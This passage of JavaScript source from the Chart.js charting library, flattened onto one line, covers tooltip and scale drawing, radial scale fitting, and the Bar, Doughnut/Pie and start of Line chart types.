* 2 + this.titleFontSize * 1.5 this.ctx.font = this.titleFont var titleWidth = this.ctx.measureText(this.title).width, //Label has a legend square as well so account for this. labelWidth = longestText(this.ctx, this.font, this.labels) + this.fontSize + 3, longestTextWidth = max([labelWidth, titleWidth]) this.width = longestTextWidth + this.xPadding * 2 var halfHeight = this.height / 2 //Check to ensure the height will fit on the canvas if (this.y - halfHeight < 0) { this.y = halfHeight } else if (this.y + halfHeight > this.chart.height) { this.y = this.chart.height - halfHeight } //Decide whether to align left or right based on position on canvas if (this.x > this.chart.width / 2) { this.x -= this.xOffset + this.width } else { this.x += this.xOffset } }, getLineHeight: function(index) { var baseLineHeight = this.y - this.height / 2 + this.yPadding, afterTitleIndex = index - 1 //If the index is zero, we're getting the title if (index === 0) { return baseLineHeight + this.titleFontSize / 2 } else { return ( baseLineHeight + (this.fontSize * 1.5 * afterTitleIndex + this.fontSize / 2) + this.titleFontSize * 1.5 ) } }, draw: function() { // Custom Tooltips if (this.custom) { this.custom(this) } else { drawRoundedRectangle( this.ctx, this.x, this.y - this.height / 2, this.width, this.height, this.cornerRadius, ) var ctx = this.ctx ctx.fillStyle = this.fillColor ctx.fill() ctx.closePath() ctx.textAlign = 'left' ctx.textBaseline = 'middle' ctx.fillStyle = this.titleTextColor ctx.font = this.titleFont ctx.fillText( this.title, this.x + this.xPadding, this.getLineHeight(0), ) ctx.font = this.font helpers.each( this.labels, function(label, index) { ctx.fillStyle = this.textColor ctx.fillText( label, this.x + this.xPadding + this.fontSize + 3, this.getLineHeight(index + 1), ) //A bit gnarly, but clearing this rectangle breaks when using explorercanvas (clears whole canvas) //ctx.clearRect(this.x + this.xPadding, this.getLineHeight(index + 1) - this.fontSize/2, this.fontSize, this.fontSize); //Instead we'll make a white filled block to put the legendColour palette over. ctx.fillStyle = this.legendColorBackground ctx.fillRect( this.x + this.xPadding, this.getLineHeight(index + 1) - this.fontSize / 2, this.fontSize, this.fontSize, ) ctx.fillStyle = this.legendColors[index].fill ctx.fillRect( this.x + this.xPadding, this.getLineHeight(index + 1) - this.fontSize / 2, this.fontSize, this.fontSize, ) }, this, ) } }, }) Chart.Scale = Chart.Element.extend({ initialize: function() { this.fit() }, buildYLabels: function() { this.yLabels = [] var stepDecimalPlaces = getDecimalPlaces(this.stepValue) for (var i = 0; i <= this.steps; i++) { this.yLabels.push( template(this.templateString, { value: (this.min + i * this.stepValue).toFixed( stepDecimalPlaces, ), }), ) } this.yLabelWidth = this.display && this.showLabels ? longestText(this.ctx, this.font, this.yLabels) : 0 }, addXLabel: function(label) { this.xLabels.push(label) this.valuesCount++ this.fit() }, removeXLabel: function() { this.xLabels.shift() this.valuesCount-- this.fit() }, // Fitting loop to rotate x Labels and figure out what fits there, and also calculate how many Y steps to use fit: function() { // First we need the width of the yLabels, assuming the xLabels aren't rotated // To do that we need the base line at the top and base of the chart, assuming there is no x label rotation this.startPoint = this.display ? this.fontSize : 0 this.endPoint = this.display ? this.height - this.fontSize * 1.5 - 5 : this.height // -5 to pad labels // Apply padding settings to the start and end point. this.startPoint += this.padding this.endPoint -= this.padding // Cache the starting height, so can determine if we need to recalculate the scale yAxis var cachedHeight = this.endPoint - this.startPoint, cachedYLabelWidth // Build the current yLabels so we have an idea of what size they'll be to start /* * This sets what is returned from calculateScaleRange as static properties of this class: * this.steps; this.stepValue; this.min; this.max; * */ this.calculateYRange(cachedHeight) // With these properties set we can now build the array of yLabels // and also the width of the largest yLabel this.buildYLabels() this.calculateXLabelRotation() while (cachedHeight > this.endPoint - this.startPoint) { cachedHeight = this.endPoint - this.startPoint cachedYLabelWidth = this.yLabelWidth this.calculateYRange(cachedHeight) this.buildYLabels() // Only go through the xLabel loop again if the yLabel width has changed if (cachedYLabelWidth < this.yLabelWidth) { this.calculateXLabelRotation() } } }, calculateXLabelRotation: function() { //Get the width of each grid by calculating the difference //between x offsets between 0 and 1. this.ctx.font = this.font var firstWidth = this.ctx.measureText(this.xLabels[0]).width, lastWidth = this.ctx.measureText( this.xLabels[this.xLabels.length - 1], ).width, firstRotated, lastRotated this.xScalePaddingRight = lastWidth / 2 + 3 this.xScalePaddingLeft = firstWidth / 2 > this.yLabelWidth + 10 ? firstWidth / 2 : this.yLabelWidth + 10 this.xLabelRotation = 0 if (this.display) { var originalLabelWidth = longestText( this.ctx, this.font, this.xLabels, ), cosRotation, firstRotatedWidth this.xLabelWidth = originalLabelWidth //Allow 3 pixels x2 padding either side for label readability var xGridWidth = Math.floor(this.calculateX(1) - this.calculateX(0)) - 6 //Max label rotate should be 90 - also act as a loop counter while ( (this.xLabelWidth > xGridWidth && this.xLabelRotation === 0) || (this.xLabelWidth > xGridWidth && this.xLabelRotation <= 90 && this.xLabelRotation > 0) ) { cosRotation = Math.cos(toRadians(this.xLabelRotation)) firstRotated = cosRotation * firstWidth lastRotated = cosRotation * lastWidth // We're right aligning the text now. if ( firstRotated + this.fontSize / 2 > this.yLabelWidth + 8 ) { this.xScalePaddingLeft = firstRotated + this.fontSize / 2 } this.xScalePaddingRight = this.fontSize / 2 this.xLabelRotation++ this.xLabelWidth = cosRotation * originalLabelWidth } if (this.xLabelRotation > 0) { this.endPoint -= Math.sin(toRadians(this.xLabelRotation)) * originalLabelWidth + 3 } } else { this.xLabelWidth = 0 this.xScalePaddingRight = this.padding this.xScalePaddingLeft = this.padding } }, // Needs to be overidden in each Chart type // Otherwise we need to pass all the data into the scale class calculateYRange: noop, drawingArea: function() { return this.startPoint - this.endPoint }, calculateY: function(value) { var scalingFactor = this.drawingArea() / (this.min - this.max) return this.endPoint - scalingFactor * (value - this.min) }, calculateX: function(index) { var isRotated = this.xLabelRotation > 0, // innerWidth = (this.offsetGridLines) ? this.width - offsetLeft - this.padding : this.width - (offsetLeft + halfLabelWidth * 2) - this.padding, innerWidth = this.width - (this.xScalePaddingLeft + this.xScalePaddingRight), valueWidth = innerWidth / Math.max( this.valuesCount - (this.offsetGridLines ? 0 : 1), 1, ), valueOffset = valueWidth * index + this.xScalePaddingLeft if (this.offsetGridLines) { valueOffset += valueWidth / 2 } return Math.round(valueOffset) }, update: function(newProps) { helpers.extend(this, newProps) this.fit() }, draw: function() { var ctx = this.ctx, yLabelGap = (this.endPoint - this.startPoint) / this.steps, xStart = Math.round(this.xScalePaddingLeft) if (this.display) { ctx.fillStyle = this.textColor ctx.font = this.font each( this.yLabels, function(labelString, index) { var yLabelCenter = this.endPoint - yLabelGap * index, linePositionY = Math.round(yLabelCenter), drawHorizontalLine = this.showHorizontalLines ctx.textAlign = 'right' ctx.textBaseline = 'middle' if (this.showLabels) { ctx.fillText(labelString, xStart - 10, yLabelCenter) } // This is X axis, so draw it if (index === 0 && !drawHorizontalLine) { drawHorizontalLine = true } if (drawHorizontalLine) { ctx.beginPath() } if (index > 0) { // This is a grid line in the centre, so drop that ctx.lineWidth = this.gridLineWidth ctx.strokeStyle = this.gridLineColor } else { // This is the first line on the scale ctx.lineWidth = this.lineWidth ctx.strokeStyle = this.lineColor } linePositionY += helpers.aliasPixel(ctx.lineWidth) if (drawHorizontalLine) { ctx.moveTo(xStart, linePositionY) ctx.lineTo(this.width, linePositionY) ctx.stroke() ctx.closePath() } ctx.lineWidth = this.lineWidth ctx.strokeStyle = this.lineColor ctx.beginPath() ctx.moveTo(xStart - 5, linePositionY) ctx.lineTo(xStart, linePositionY) ctx.stroke() ctx.closePath() }, this, ) each( this.xLabels, function(label, index) { var xPos = this.calculateX(index) + aliasPixel(this.lineWidth), // Check to see if line/bar here and decide where to place the line linePos = this.calculateX( index - (this.offsetGridLines ? 0.5 : 0), ) + aliasPixel(this.lineWidth), isRotated = this.xLabelRotation > 0, drawVerticalLine = this.showVerticalLines // This is Y axis, so draw it if (index === 0 && !drawVerticalLine) { drawVerticalLine = true } if (drawVerticalLine) { ctx.beginPath() } if (index > 0) { // This is a grid line in the centre, so drop that ctx.lineWidth = this.gridLineWidth ctx.strokeStyle = this.gridLineColor } else { // This is the first line on the scale ctx.lineWidth = this.lineWidth ctx.strokeStyle = this.lineColor } if (drawVerticalLine) { ctx.moveTo(linePos, this.endPoint) ctx.lineTo(linePos, this.startPoint - 3) ctx.stroke() ctx.closePath() } ctx.lineWidth = this.lineWidth ctx.strokeStyle = this.lineColor // Small lines at the bottom of the base grid line ctx.beginPath() ctx.moveTo(linePos, this.endPoint) ctx.lineTo(linePos, this.endPoint + 5) ctx.stroke() ctx.closePath() ctx.save() ctx.translate( xPos, isRotated ? this.endPoint + 12 : this.endPoint + 8, ) ctx.rotate(toRadians(this.xLabelRotation) * -1) ctx.font = this.font ctx.textAlign = isRotated ? 'right' : 'center' ctx.textBaseline = isRotated ? 'middle' : 'top' ctx.fillText(label, 0, 0) ctx.restore() }, this, ) } }, }) Chart.RadialScale = Chart.Element.extend({ initialize: function() { this.size = min([this.height, this.width]) this.drawingArea = this.display ? this.size / 2 - (this.fontSize / 2 + this.backdropPaddingY) : this.size / 2 }, calculateCenterOffset: function(value) { // Take into account half font size + the yPadding of the top value var scalingFactor = this.drawingArea / (this.max - this.min) return (value - this.min) * scalingFactor }, update: function() { if (!this.lineArc) { this.setScaleSize() } else { this.drawingArea = this.display ? this.size / 2 - (this.fontSize / 2 + this.backdropPaddingY) : this.size / 2 } this.buildYLabels() }, buildYLabels: function() { this.yLabels = [] var stepDecimalPlaces = getDecimalPlaces(this.stepValue) for (var i = 0; i <= this.steps; i++) { this.yLabels.push( template(this.templateString, { value: (this.min + i * this.stepValue).toFixed( stepDecimalPlaces, ), }), ) } }, getCircumference: function() { return (Math.PI * 2) / this.valuesCount }, setScaleSize: function() { /* * Right, this is really confusing and there is a lot of maths going on here * The gist of the problem is here: https://gist.github.com/nnnick/696cc9c55f4b0beb8fe9 * * Reaction: https://dl.dropboxusercontent.com/u/34601363/toomuchscience.gif * * Solution: * * We assume the radius of the polygon is half the size of the canvas at first * at each index we check if the text overlaps. * * Where it does, we store that angle and that index. * * After finding the largest index and angle we calculate how much we need to remove * from the shape radius to move the point inwards by that x. * * We average the left and right distances to get the maximum shape radius that can fit in the box * along with labels. * * Once we have that, we can find the centre point for the chart, by taking the x text protrusion * on each side, removing that from the size, halving it and adding the left x protrusion width. * * This will mean we have a shape fitted to the canvas, as large as it can be with the labels * and position it in the most space efficient manner * * https://dl.dropboxusercontent.com/u/34601363/yeahscience.gif */ // Get maximum radius of the polygon. Either half the height (minus the text width) or half the width. // Use this to calculate the offset + change. - Make sure L/R protrusion is at least 0 to stop issues with centre points var largestPossibleRadius = min([ this.height / 2 - this.pointLabelFontSize - 5, this.width / 2, ]), pointPosition, i, textWidth, halfTextWidth, furthestRight = this.width, furthestRightIndex, furthestRightAngle, furthestLeft = 0, furthestLeftIndex, furthestLeftAngle, xProtrusionLeft, xProtrusionRight, radiusReductionRight, radiusReductionLeft, maxWidthRadius this.ctx.font = fontString( this.pointLabelFontSize, this.pointLabelFontStyle, this.pointLabelFontFamily, ) for (i = 0; i < this.valuesCount; i++) { // 5px to space the text slightly out - similar to what we do in the draw function. pointPosition = this.getPointPosition(i, largestPossibleRadius) textWidth = this.ctx.measureText( template(this.templateString, { value: this.labels[i], }), ).width + 5 if (i === 0 || i === this.valuesCount / 2) { // If we're at index zero, or exactly the middle, we're at exactly the top/bottom // of the radar chart, so text will be aligned centrally, so we'll half it and compare // w/left and right text sizes halfTextWidth = textWidth / 2 if (pointPosition.x + halfTextWidth > furthestRight) { furthestRight = pointPosition.x + halfTextWidth furthestRightIndex = i } if (pointPosition.x - halfTextWidth < furthestLeft) { furthestLeft = pointPosition.x - halfTextWidth furthestLeftIndex = i } } else if (i < this.valuesCount / 2) { // Less than half the values means we'll left align the text if (pointPosition.x + textWidth > furthestRight) { furthestRight = pointPosition.x + textWidth furthestRightIndex = i } } else if (i > this.valuesCount / 2) { // More than half the values means we'll right align the text if (pointPosition.x - textWidth < furthestLeft) { furthestLeft = pointPosition.x - textWidth furthestLeftIndex = i } } } xProtrusionLeft = furthestLeft xProtrusionRight = Math.ceil(furthestRight - this.width) furthestRightAngle = this.getIndexAngle(furthestRightIndex) furthestLeftAngle = this.getIndexAngle(furthestLeftIndex) radiusReductionRight = xProtrusionRight / Math.sin(furthestRightAngle + Math.PI / 2) radiusReductionLeft = xProtrusionLeft / Math.sin(furthestLeftAngle + Math.PI / 2) // Ensure we actually need to reduce the size of the chart radiusReductionRight = isNumber(radiusReductionRight) ? radiusReductionRight : 0 radiusReductionLeft = isNumber(radiusReductionLeft) ? radiusReductionLeft : 0 this.drawingArea = largestPossibleRadius - (radiusReductionLeft + radiusReductionRight) / 2 //this.drawingArea = min([maxWidthRadius, (this.height - (2 * (this.pointLabelFontSize + 5)))/2]) this.setCenterPoint(radiusReductionLeft, radiusReductionRight) }, setCenterPoint: function(leftMovement, rightMovement) { var maxRight = this.width - rightMovement - this.drawingArea, maxLeft = leftMovement + this.drawingArea this.xCenter = (maxLeft + maxRight) / 2 // Always vertically in the centre as the text height doesn't change this.yCenter = this.height / 2 }, getIndexAngle: function(index) { var angleMultiplier = (Math.PI * 2) / this.valuesCount // Start from the top instead of right, so remove a quarter of the circle return index * angleMultiplier - Math.PI / 2 }, getPointPosition: function(index, distanceFromCenter) { var thisAngle = this.getIndexAngle(index) return { x: Math.cos(thisAngle) * distanceFromCenter + this.xCenter, y: Math.sin(thisAngle) * distanceFromCenter + this.yCenter, } }, draw: function() { if (this.display) { var ctx = this.ctx each( this.yLabels, function(label, index) { // Don't draw a centre value if (index > 0) { var yCenterOffset = index * (this.drawingArea / this.steps), yHeight = this.yCenter - yCenterOffset, pointPosition // Draw circular lines around the scale if (this.lineWidth > 0) { ctx.strokeStyle = this.lineColor ctx.lineWidth = this.lineWidth if (this.lineArc) { ctx.beginPath() ctx.arc( this.xCenter, this.yCenter, yCenterOffset, 0, Math.PI * 2, ) ctx.closePath() ctx.stroke() } else { ctx.beginPath() for (var i = 0; i < this.valuesCount; i++) { pointPosition = this.getPointPosition( i, this.calculateCenterOffset( this.min + index * this.stepValue, ), ) if (i === 0) { ctx.moveTo( pointPosition.x, pointPosition.y, ) } else { ctx.lineTo( pointPosition.x, pointPosition.y, ) } } ctx.closePath() ctx.stroke() } } if (this.showLabels) { ctx.font = fontString( this.fontSize, this.fontStyle, this.fontFamily, ) if (this.showLabelBackdrop) { var labelWidth = ctx.measureText(label) .width ctx.fillStyle = this.backdropColor ctx.fillRect( this.xCenter - labelWidth / 2 - this.backdropPaddingX, yHeight - this.fontSize / 2 - this.backdropPaddingY, labelWidth + this.backdropPaddingX * 2, this.fontSize + this.backdropPaddingY * 2, ) } ctx.textAlign = 'center' ctx.textBaseline = 'middle' ctx.fillStyle = this.fontColor ctx.fillText(label, this.xCenter, yHeight) } } }, this, ) if (!this.lineArc) { ctx.lineWidth = this.angleLineWidth ctx.strokeStyle = this.angleLineColor for (var i = this.valuesCount - 1; i >= 0; i--) { if (this.angleLineWidth > 0) { var outerPosition = this.getPointPosition( i, this.calculateCenterOffset(this.max), ) ctx.beginPath() ctx.moveTo(this.xCenter, this.yCenter) ctx.lineTo(outerPosition.x, outerPosition.y) ctx.stroke() ctx.closePath() } // Extra 3px out for some label spacing var pointLabelPosition = this.getPointPosition( i, this.calculateCenterOffset(this.max) + 5, ) ctx.font = fontString( this.pointLabelFontSize, this.pointLabelFontStyle, this.pointLabelFontFamily, ) ctx.fillStyle = this.pointLabelFontColor var labelsCount = this.labels.length, halfLabelsCount = this.labels.length / 2, quarterLabelsCount = halfLabelsCount / 2, upperHalf = i < quarterLabelsCount || i > labelsCount - quarterLabelsCount, exactQuarter = i === quarterLabelsCount || i === labelsCount - quarterLabelsCount if (i === 0) { ctx.textAlign = 'center' } else if (i === halfLabelsCount) { ctx.textAlign = 'center' } else if (i < halfLabelsCount) { ctx.textAlign = 'left' } else { ctx.textAlign = 'right' } // Set the correct text baseline based on outer positioning if (exactQuarter) { ctx.textBaseline = 'middle' } else if (upperHalf) { ctx.textBaseline = 'bottom' } else { ctx.textBaseline = 'top' } ctx.fillText( this.labels[i], pointLabelPosition.x, pointLabelPosition.y, ) } } } }, }) // Attach global event to resize each chart instance when the browser resizes helpers.addEvent( window, 'resize', (function() { // Basic debounce of resize function so it doesn't hurt performance when resizing browser. var timeout return function() { clearTimeout(timeout) timeout = setTimeout(function() { each(Chart.instances, function(instance) { // If the responsive flag is set in the chart instance config // Cascade the resize event down to the chart. if (instance.options.responsive) { instance.resize(instance.render, true) } }) }, 50) } })(), ) if (amd) { define(function() { return Chart }) } else if (typeof module === 'object' && module.exports) { module.exports = Chart } root.Chart = Chart Chart.noConflict = function() { root.Chart = previous return Chart } }.call(this)) ;(function() { 'use strict' var root = this, Chart = root.Chart, helpers = Chart.helpers var defaultConfig = { //Boolean - Whether the scale should start at zero, or an order of magnitude down from the lowest value scaleBeginAtZero: true, //Boolean - Whether grid lines are shown across the chart scaleShowGridLines: true, //String - Colour of the grid lines scaleGridLineColor: 'rgba(0,0,0,.05)', //Number - Width of the grid lines scaleGridLineWidth: 1, //Boolean - Whether to show horizontal lines (except X axis) scaleShowHorizontalLines: true, //Boolean - Whether to show vertical lines (except Y axis) scaleShowVerticalLines: true, //Boolean - If there is a stroke on each bar barShowStroke: true, //Number - Pixel width of the bar stroke barStrokeWidth: 2, //Number - Spacing between each of the X value sets barValueSpacing: 5, //Number - Spacing between data sets within X values barDatasetSpacing: 1, //String - A legend template legendTemplate: '<ul class="<%=name.toLowerCase()%>-legend"><% for (var i=0; i<datasets.length; i++){%><li><span style="background-color:<%=datasets[i].fillColor%>"></span><%if(datasets[i].label){%><%=datasets[i].label%><%}%></li><%}%></ul>', } Chart.Type.extend({ name: 'Bar', defaults: defaultConfig, initialize: function(data) { //Expose options as a scope variable here so we can access it in the ScaleClass var options = this.options this.ScaleClass = Chart.Scale.extend({ offsetGridLines: true, calculateBarX: function(datasetCount, datasetIndex, barIndex) { //Reusable method for calculating the xPosition of a given bar based on datasetIndex & width of the bar var xWidth = this.calculateBaseWidth(), xAbsolute = this.calculateX(barIndex) - xWidth / 2, barWidth = this.calculateBarWidth(datasetCount) return ( xAbsolute + barWidth * datasetIndex + datasetIndex * options.barDatasetSpacing + barWidth / 2 ) }, calculateBaseWidth: function() { return ( this.calculateX(1) - this.calculateX(0) - 2 * options.barValueSpacing ) }, calculateBarWidth: function(datasetCount) { //The padding between datasets is to the right of each bar, providing that there are more than 1 dataset var baseWidth = this.calculateBaseWidth() - (datasetCount - 1) * options.barDatasetSpacing return baseWidth / datasetCount }, }) this.datasets = [] //Set up tooltip events on the chart if (this.options.showTooltips) { helpers.bindEvents(this, this.options.tooltipEvents, function( evt, ) { var activeBars = evt.type !== 'mouseout' ? this.getBarsAtEvent(evt) : [] this.eachBars(function(bar) { bar.restore(['fillColor', 'strokeColor']) }) helpers.each(activeBars, function(activeBar) { activeBar.fillColor = activeBar.highlightFill activeBar.strokeColor = activeBar.highlightStroke }) this.showTooltip(activeBars) }) } //Declare the extension of the default point, to cater for the options passed in to the constructor this.BarClass = Chart.Rectangle.extend({ strokeWidth: this.options.barStrokeWidth, showStroke: this.options.barShowStroke, ctx: this.chart.ctx, }) //Iterate through each of the datasets, and build this into a property of the chart helpers.each( data.datasets, function(dataset, datasetIndex) { var datasetObject = { label: dataset.label || null, fillColor: dataset.fillColor, strokeColor: dataset.strokeColor, bars: [], } this.datasets.push(datasetObject) helpers.each( dataset.data, function(dataPoint, index) { //Add a new point for each piece of data, passing any required data to draw. datasetObject.bars.push( new this.BarClass({ value: dataPoint, label: data.labels[index], datasetLabel: dataset.label, strokeColor: dataset.strokeColor, fillColor: dataset.fillColor, highlightFill: dataset.highlightFill || dataset.fillColor, highlightStroke: dataset.highlightStroke || dataset.strokeColor, }), ) }, this, ) }, this, ) this.buildScale(data.labels) this.BarClass.prototype.base = this.scale.endPoint this.eachBars(function(bar, index, datasetIndex) { helpers.extend(bar, { width: this.scale.calculateBarWidth(this.datasets.length), x: this.scale.calculateBarX( this.datasets.length, datasetIndex, index, ), y: this.scale.endPoint, }) bar.save() }, this) this.render() }, update: function() { this.scale.update() // Reset any highlight colours before updating. helpers.each(this.activeElements, function(activeElement) { activeElement.restore(['fillColor', 'strokeColor']) }) this.eachBars(function(bar) { bar.save() }) this.render() }, eachBars: function(callback) { helpers.each( this.datasets, function(dataset, datasetIndex) { helpers.each(dataset.bars, callback, this, datasetIndex) }, this, ) }, getBarsAtEvent: function(e) { var barsArray = [], eventPosition = helpers.getRelativePosition(e), datasetIterator = function(dataset) { barsArray.push(dataset.bars[barIndex]) }, barIndex for ( var datasetIndex = 0; datasetIndex < this.datasets.length; datasetIndex++ ) { for ( barIndex = 0; barIndex < this.datasets[datasetIndex].bars.length; barIndex++ ) { if ( this.datasets[datasetIndex].bars[barIndex].inRange( eventPosition.x, eventPosition.y, ) ) { helpers.each(this.datasets, datasetIterator) return barsArray } } } return barsArray }, buildScale: function(labels) { var self = this var dataTotal = function() { var values = [] self.eachBars(function(bar) { values.push(bar.value) }) return values } var scaleOptions = { templateString: this.options.scaleLabel, height: this.chart.height, width: this.chart.width, ctx: this.chart.ctx, textColor: this.options.scaleFontColor, fontSize: this.options.scaleFontSize, fontStyle: this.options.scaleFontStyle, fontFamily: this.options.scaleFontFamily, valuesCount: labels.length, beginAtZero: this.options.scaleBeginAtZero, integersOnly: this.options.scaleIntegersOnly, calculateYRange: function(currentHeight) { var updatedRanges = helpers.calculateScaleRange( dataTotal(), currentHeight, this.fontSize, this.beginAtZero, this.integersOnly, ) helpers.extend(this, updatedRanges) }, xLabels: labels, font: helpers.fontString( this.options.scaleFontSize, this.options.scaleFontStyle, this.options.scaleFontFamily, ), lineWidth: this.options.scaleLineWidth, lineColor: this.options.scaleLineColor, showHorizontalLines: this.options.scaleShowHorizontalLines, showVerticalLines: this.options.scaleShowVerticalLines, gridLineWidth: this.options.scaleShowGridLines ? this.options.scaleGridLineWidth : 0, gridLineColor: this.options.scaleShowGridLines ? this.options.scaleGridLineColor : 'rgba(0,0,0,0)', padding: this.options.showScale ? 0 : this.options.barShowStroke ? this.options.barStrokeWidth : 0, showLabels: this.options.scaleShowLabels, display: this.options.showScale, } if (this.options.scaleOverride) { helpers.extend(scaleOptions, { calculateYRange: helpers.noop, steps: this.options.scaleSteps, stepValue: this.options.scaleStepWidth, min: this.options.scaleStartValue, max: this.options.scaleStartValue + this.options.scaleSteps * this.options.scaleStepWidth, }) } this.scale = new this.ScaleClass(scaleOptions) }, addData: function(valuesArray, label) { //Map the values array for each of the datasets helpers.each( valuesArray, function(value, datasetIndex) { //Add a new point for each piece of data, passing any required data to draw. this.datasets[datasetIndex].bars.push( new this.BarClass({ value: value, label: label, x: this.scale.calculateBarX( this.datasets.length, datasetIndex, this.scale.valuesCount + 1, ), y: this.scale.endPoint, width: this.scale.calculateBarWidth( this.datasets.length, ), base: this.scale.endPoint, strokeColor: this.datasets[datasetIndex] .strokeColor, fillColor: this.datasets[datasetIndex].fillColor, }), ) }, this, ) this.scale.addXLabel(label) //Then re-render the chart. this.update() }, removeData: function() { this.scale.removeXLabel() //Then re-render the chart. helpers.each( this.datasets, function(dataset) { dataset.bars.shift() }, this, ) this.update() }, reflow: function() { helpers.extend(this.BarClass.prototype, { y: this.scale.endPoint, base: this.scale.endPoint, }) var newScaleProps = helpers.extend({ height: this.chart.height, width: this.chart.width, }) this.scale.update(newScaleProps) }, draw: function(ease) { var easingDecimal = ease || 1 this.clear() var ctx = this.chart.ctx this.scale.draw(easingDecimal) //Draw all the bars for each dataset helpers.each( this.datasets, function(dataset, datasetIndex) { helpers.each( dataset.bars, function(bar, index) { if (bar.hasValue()) { bar.base = this.scale.endPoint //Transition then draw bar.transition( { x: this.scale.calculateBarX( this.datasets.length, datasetIndex, index, ), y: this.scale.calculateY(bar.value), width: this.scale.calculateBarWidth( this.datasets.length, ), }, easingDecimal, ).draw() } }, this, ) }, this, ) }, }) }.call(this)) ;(function() { 'use strict' var root = this, Chart = root.Chart, //Cache a local reference to Chart.helpers helpers = Chart.helpers var defaultConfig = { //Boolean - Whether we should show a stroke on each segment segmentShowStroke: true, //String - The colour of each segment stroke segmentStrokeColor: '#fff', //Number - The width of each segment stroke segmentStrokeWidth: 2, //The percentage of the chart that we cut out of the middle. percentageInnerCutout: 50, //Number - Amount of animation steps animationSteps: 100, //String - Animation easing effect animationEasing: 'easeOutBounce', //Boolean - Whether we animate the rotation of the Doughnut animateRotate: true, //Boolean - Whether we animate scaling the Doughnut from the centre animateScale: false, //String - A legend template legendTemplate: '<ul class="<%=name.toLowerCase()%>-legend"><% for (var i=0; i<segments.length; i++){%><li><span style="background-color:<%=segments[i].fillColor%>"></span><%if(segments[i].label){%><%=segments[i].label%><%}%></li><%}%></ul>', } Chart.Type.extend({ //Passing in a name registers this chart in the Chart namespace name: 'Doughnut', //Providing a defaults will also register the deafults in the chart namespace defaults: defaultConfig, //Initialize is fired when the chart is initialized - Data is passed in as a parameter //Config is automatically merged by the core of Chart.js, and is available at this.options initialize: function(data) { //Declare segments as a static property to prevent inheriting across the Chart type prototype this.segments = [] this.outerRadius = (helpers.min([this.chart.width, this.chart.height]) - this.options.segmentStrokeWidth / 2) / 2 this.SegmentArc = Chart.Arc.extend({ ctx: this.chart.ctx, x: this.chart.width / 2, y: this.chart.height / 2, }) //Set up tooltip events on the chart if (this.options.showTooltips) { helpers.bindEvents(this, this.options.tooltipEvents, function( evt, ) { var activeSegments = evt.type !== 'mouseout' ? this.getSegmentsAtEvent(evt) : [] helpers.each(this.segments, function(segment) { segment.restore(['fillColor']) }) helpers.each(activeSegments, function(activeSegment) { activeSegment.fillColor = activeSegment.highlightColor }) this.showTooltip(activeSegments) }) } this.calculateTotal(data) helpers.each( data, function(datapoint, index) { this.addData(datapoint, index, true) }, this, ) this.render() }, getSegmentsAtEvent: function(e) { var segmentsArray = [] var location = helpers.getRelativePosition(e) helpers.each( this.segments, function(segment) { if (segment.inRange(location.x, location.y)) segmentsArray.push(segment) }, this, ) return segmentsArray }, addData: function(segment, atIndex, silent) { var index = atIndex || this.segments.length this.segments.splice( index, 0, new this.SegmentArc({ value: segment.value, outerRadius: this.options.animateScale ? 0 : this.outerRadius, innerRadius: this.options.animateScale ? 0 : (this.outerRadius / 100) * this.options.percentageInnerCutout, fillColor: segment.color, highlightColor: segment.highlight || segment.color, showStroke: this.options.segmentShowStroke, strokeWidth: this.options.segmentStrokeWidth, strokeColor: this.options.segmentStrokeColor, startAngle: Math.PI * 1.5, circumference: this.options.animateRotate ? 0 : this.calculateCircumference(segment.value), label: segment.label, }), ) if (!silent) { this.reflow() this.update() } }, calculateCircumference: function(value) { return Math.PI * 2 * (Math.abs(value) / this.total) }, calculateTotal: function(data) { this.total = 0 helpers.each( data, function(segment) { this.total += Math.abs(segment.value) }, this, ) }, update: function() { this.calculateTotal(this.segments) // Reset any highlight colours before updating. helpers.each(this.activeElements, function(activeElement) { activeElement.restore(['fillColor']) }) helpers.each(this.segments, function(segment) { segment.save() }) this.render() }, removeData: function(atIndex) { var indexToDelete = helpers.isNumber(atIndex) ? atIndex : this.segments.length - 1 this.segments.splice(indexToDelete, 1) this.reflow() this.update() }, reflow: function() { helpers.extend(this.SegmentArc.prototype, { x: this.chart.width / 2, y: this.chart.height / 2, }) this.outerRadius = (helpers.min([this.chart.width, this.chart.height]) - this.options.segmentStrokeWidth / 2) / 2 helpers.each( this.segments, function(segment) { segment.update({ outerRadius: this.outerRadius, innerRadius: (this.outerRadius / 100) * this.options.percentageInnerCutout, }) }, this, ) }, draw: function(easeDecimal) { var animDecimal = easeDecimal ? easeDecimal : 1 this.clear() helpers.each( this.segments, function(segment, index) { segment.transition( { circumference: this.calculateCircumference( segment.value, ), outerRadius: this.outerRadius, innerRadius: (this.outerRadius / 100) * this.options.percentageInnerCutout, }, animDecimal, ) segment.endAngle = segment.startAngle + segment.circumference segment.draw() if (index === 0) { segment.startAngle = Math.PI * 1.5 } //Check to see if it's the last segment, if not get the next and update the start angle if (index < this.segments.length - 1) { this.segments[index + 1].startAngle = segment.endAngle } }, this, ) }, }) Chart.types.Doughnut.extend({ name: 'Pie', defaults: helpers.merge(defaultConfig, { percentageInnerCutout: 0 }), }) }.call(this)) ;(function() { 'use strict' var root = this, Chart = root.Chart, helpers = Chart.helpers var defaultConfig = { ///Boolean - Whether grid lines are shown across the chart scaleShowGridLines: true, //String - Colour of the grid lines scaleGridLineColor: 'rgba(0,0,0,.05)', //Number - Width of the grid lines scaleGridLineWidth: 1, //Boolean - Whether to show horizontal lines (except X axis) scaleShowHorizontalLines: true, //Boolean - Whether to show vertical lines (except Y axis) scaleShowVerticalLines: true, //Boolean - Whether the line is curved between points bezierCurve: true, //Number - Tension of the bezier curve between points bezierCurveTension: 0.4, //Boolean - Whether to show a dot for each point pointDot: true, //Number - Radius of each point dot in pixels pointDotRadius: 4, //Number - Pixel width of point dot stroke pointDotStrokeWidth: 1, //Number - amount extra to add to the radius to cater for hit detection outside the drawn point pointHitDetectionRadius: 20, //Boolean - Whether to show a stroke for datasets datasetStroke: true, //Number - Pixel width of dataset stroke datasetStrokeWidth: 2, //Boolean - Whether to fill the dataset with a colour datasetFill: true, //String - A legend template legendTemplate: '<ul class="<%=name.toLowerCase()%>-legend"><% for (var i=0; i<datasets.length; i++){%><li><span style="background-color:<%=datasets[i].strokeColor%>"></span><%if(datasets[i].label){%><%=datasets[i].label%><%}%></li><%}%></ul>', } Chart.Type.extend({ name: 'Line', defaults: defaultConfig, initialize: function(data) { //Declare the extension of the default point, to cater for the options passed in to the constructor this.PointClass = Chart.Point.extend({ strokeWidth: this.options.pointDotStrokeWidth, radius: this.options.pointDotRadius, display: this.options.pointDot, hitDetectionRadius: this.options.pointHitDetectionRadius, 